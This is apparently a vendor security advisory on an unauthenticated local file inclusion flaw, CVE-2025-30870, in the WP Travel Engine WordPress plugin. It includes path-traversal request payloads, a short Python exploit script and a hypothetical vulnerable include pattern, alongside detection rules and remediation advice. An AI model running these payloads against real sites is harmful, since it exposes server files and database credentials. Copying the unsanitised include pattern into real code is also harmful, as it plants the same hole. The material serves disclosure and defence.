CVE-2025-30870

Executive Summary

CVE-2025-30870 is a critical PHP Local File Inclusion (LFI) vulnerability discovered in the WP Travel Engine WordPress plugin, affecting versions up to and including 6.3.5. The vulnerability stems from improper control of filenames used in PHP include/require statements, allowing an unauthenticated attacker to include arbitrary local files from the server. This can lead to sensitive information disclosure, such as reading configuration files containing database credentials, source code, or other critical data. The CVSS score of 8.1 (High) reflects the ease of exploitation and the potential for significant confidentiality impact. No public proof-of-concept (PoC) or patch details are currently available, making this a high-priority zero-day for WordPress site administrators.

Supply Chain & Package Security

This vulnerability affects the WP Travel Engine WordPress plugin, which is distributed via the official WordPress plugin repository and third-party marketplaces. As a WordPress plugin, it is part of the broader PHP ecosystem and is typically installed via the WordPress admin dashboard or wp-cli. The lack of a patch means that all sites running version 6.3.5 or earlier are at risk. Administrators should monitor the plugin's official page for updates and consider temporary mitigations such as disabling the plugin or implementing web application firewall (WAF) rules.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Base Score: 8.1 (High)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Vulnerability does not affect other components.
• Confidentiality Impact: High (C:H) – Full file read capability.
• Integrity Impact: None (I:N) – No file modification.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: High. The vulnerability is trivial to exploit and can expose sensitive server files, including wp-config.php which contains database credentials.

Deep Dive & Mechanics

The vulnerability exists in the wp-travel-engine plugin's PHP code, specifically in functions that use include or require statements with user-supplied input without proper sanitization. The plugin likely processes file paths via GET or POST parameters (e.g., ?file=... or ?template=...) and passes them directly to PHP's include() function. An attacker can manipulate this parameter to traverse directories using ../ sequences and read arbitrary files.

Example vulnerable code pattern:

$file = $_GET['file'];
include( $file . '.php' );

This allows an attacker to request ?file=../../../../etc/passwd to include /etc/passwd.php (which fails) or use null byte injection (if PHP < 5.3.4) to truncate the extension. In modern PHP, the attacker might use path traversal to include files like wp-config.php by exploiting the plugin's directory structure.

The vulnerability is classified as CWE-98 (Improper Control of Filename for Include/Require Statement in PHP Program), which is a variant of Local File Inclusion (LFI). Since the plugin is for WordPress, the attack surface is the WordPress frontend or admin area, depending on where the vulnerable parameter is exposed.

Vulnerable vs. Patched Code

Since no patch is available, we can only hypothesize the vulnerable code and the fix.

Vulnerable Code (hypothetical):

// In wp-travel-engine/includes/class-frontend.php
public function load_template() {
    $template = $_GET['template'];
    include( WP_TRAVEL_ENGINE_TEMPLATE_DIR . '/' . $template . '.php' );
}

Patched Code (expected):

public function load_template() {
    $template = sanitize_file_name( $_GET['template'] );
    $allowed_templates = array( 'booking', 'search', 'results' );
    if ( in_array( $template, $allowed_templates ) ) {
        include( WP_TRAVEL_ENGINE_TEMPLATE_DIR . '/' . $template . '.php' );
    } else {
        wp_die( 'Invalid template.' );
    }
}

The fix involves:

1. Sanitizing the filename using sanitize_file_name().
2. Implementing a whitelist of allowed template names.
3. Using realpath() to resolve the path and ensure it stays within the allowed directory.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with WP Travel Engine <= 6.3.5 installed and activated.
• Knowledge of the vulnerable parameter (e.g., template, file, include). This can be discovered via source code review or fuzzing.

Exploitation Steps:

1. Identify the vulnerable endpoint. Common patterns include:
   • /?wp_travel_engine_template=...
   • /?template=...
   • /?file=...
2. Attempt to read /etc/passwd:

   GET /?template=../../../../../../etc/passwd HTTP/1.1
   Host: target.com
   

   If the plugin appends .php, try:

   GET /?template=../../../../../../etc/passwd%00 HTTP/1.1
   

   (Note: Null byte injection works only on PHP < 5.3.4, but worth testing.)
3. Read WordPress configuration:

   GET /?template=../../../../wp-config HTTP/1.1
   

   This may include wp-config.php if the extension is not appended.
4. Use directory traversal to read other sensitive files like .htaccess, wp-config.php, or plugin source code.

Automated Exploit (Python):

import requests

target = "http://target.com"
payload = "../../../../../../etc/passwd"
params = {"template": payload}
r = requests.get(target, params=params)
if "root:" in r.text:
    print("[+] LFI successful!")
    print(r.text)

Blue Team (Detection & Hardening)

Detection:

• Monitor web server logs for suspicious GET parameters containing ../ or %00.
• Look for requests to plugin-specific endpoints with unusual file paths.
• Use WAF rules to block path traversal patterns.

Hardening:

• Disable the plugin until a patch is released.
• If disabling is not possible, implement a WAF rule to block ../ and null bytes in query strings.
• Restrict file permissions on the server to limit what can be read.
• Use a WordPress security plugin that monitors file inclusion attempts.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests containing ../ in query parameters (e.g., ?template=../../../../etc/passwd).
  • Requests to /wp-content/plugins/wp-travel-engine/ with suspicious parameters.
  • User-Agent strings that are not typical browsers (e.g., Python-requests, curl).

• File System IOCs:

  • Unexpected inclusion of files like /etc/passwd, wp-config.php, or .htaccess in web server logs.
  • Modified plugin files (if attacker uploads a webshell via LFI combined with file upload).

• Log IOCs:

  • Apache/Nginx access logs showing 404 or 500 errors for non-existent PHP files.
  • PHP error logs showing include(): Failed opening errors for paths like /etc/passwd.

Detection Engineering

YARA Rule

rule CVE_2025_30870_LFI_Attempt {
    meta:
        description = "Detects LFI attempts targeting WP Travel Engine plugin"
        author = "Valters IT"
        date = "2025-04-17"
        reference = "CVE-2025-30870"
    strings:
        $path_traversal = /(\.\.\/|\.\.\\){2,}/
        $wp_travel_engine = "wp-travel-engine" nocase
        $param = /(\?|&)(template|file|include)=/
    condition:
        $wp_travel_engine and $param and $path_traversal
}

Sigma Rule

title: CVE-2025-30870 WP Travel Engine LFI Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests attempting to exploit LFI in WP Travel Engine
author: Valters IT
date: 2025-04-17
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-uri-query|contains:
            - '../'
            - '..\\'
            - '%00'
        cs-uri-query|contains: 'wp-travel-engine'
    condition: selection
falsepositives:
    - Legitimate use of relative paths in other plugins
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-30870 WP Travel Engine LFI Attempt"; flow:to_server,established; content:"wp-travel-engine"; http_uri; content:"../"; http_uri; distance:0; within:10; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if it is not critical for business operations.
2. Implement a WAF rule to block path traversal patterns (e.g., ../, ..\\, %00).
3. Monitor logs for exploitation attempts and block offending IPs.

Long-term Fix:

• Wait for the vendor to release a patched version (e.g., 6.3.6 or higher).
• Once available, update the plugin immediately via WordPress admin or wp-cli:

  wp plugin update wp-travel-engine
  

• If the vendor does not patch, consider forking the plugin or switching to an alternative travel engine plugin.

General Hardening:

• Keep all WordPress plugins and themes updated.
• Use a security plugin like Wordfence or Sucuri to add an extra layer of defense.
• Restrict file permissions on wp-config.php to 400 or 440.
• Disable PHP allow_url_include in php.ini to prevent RFI.

Valters IT
Securing digital frontiers with precision.